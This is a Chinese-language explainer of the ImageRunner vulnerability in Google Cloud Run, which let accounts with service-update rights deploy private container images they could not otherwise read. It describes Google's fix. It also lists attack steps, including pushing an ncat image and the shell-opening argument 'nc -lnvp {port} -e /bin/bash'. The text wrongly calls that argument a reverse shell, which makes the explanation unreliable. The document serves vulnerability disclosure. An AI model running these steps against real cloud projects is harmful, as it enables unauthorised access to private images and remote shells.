什么是Cloud Run、Container Registry和Artifact Registry?
- Cloud Run:一个完全托管的服务,用于在无服务器环境中运行容器化应用程序。它处理基础设施、扩展和执行环境,让你无需担心底层系统即可运行应用程序。
- Container Registry:一个较老的服务,用于存储和管理容器镜像。自2025年3月18日起已被Artifact Registry取代。
- Artifact Registry:下一代解决方案,支持多种类型的工件(包括Maven和npm包),提供更广泛的功能。
ImageRunner漏洞详细信息
漏洞概述:该漏洞允许攻击者利用Cloud Run修订版的编辑权限,访问同一项目中的私有容器镜像,即使他们没有相应的注册表权限。
攻击方法:
- 获取必要权限 :攻击者需要
run.services.update
和iam.serviceAccounts.actAs
权限。 - 更新Cloud Run服务:攻击者可以更新Cloud Run服务并创建一个新修订版。
- 指定私有镜像:在更新过程中,攻击者可以指定任何私有容器镜像作为新修订版的基础镜像。
- 注入恶意指令:攻击者可以通过添加命令或参数来注入恶意指令,例如使用Netcat(ncat)镜像建立反向连接,获取镜像内容或敏感数据。
示例代码和步骤
步骤1:拉取和推送ncat镜像
bash
docker pull raesene/ncat
gcloud auth login
gcloud auth configure-docker
docker tag raesene/ncat gcr.io/{project-name}/ncat:latest
docker push gcr.io/{project-name}/ncat:latest
步骤2:更新Cloud Run服务
- 使用具有
run.services.update
和iam.serviceAccounts.actAs
权限的身份。 - 更新Cloud Run服务并创建新修订版。
- 指定私有镜像(例如
gcr.io/{project-name}/ncat:latest
)。
步骤3:注入恶意指令
-
在容器参数中添加恶意指令,例如:
bashnc -lnvp {port} -e /bin/bash
这将在攻击者机器上建立一个反向shell。
修复措施
Google已修复此漏洞,确保创建或更新Cloud Run资源的用户或服务账户必须具有显式的容器镜像访问权限。对于Artifact Registry,需要Artifact Registry Reader
角色。
Jenga概念
ImageRunner是Tenable Research提出的"Jenga"概念的一个例子,指出云服务之间的依赖关系可能导致新的漏洞和风险。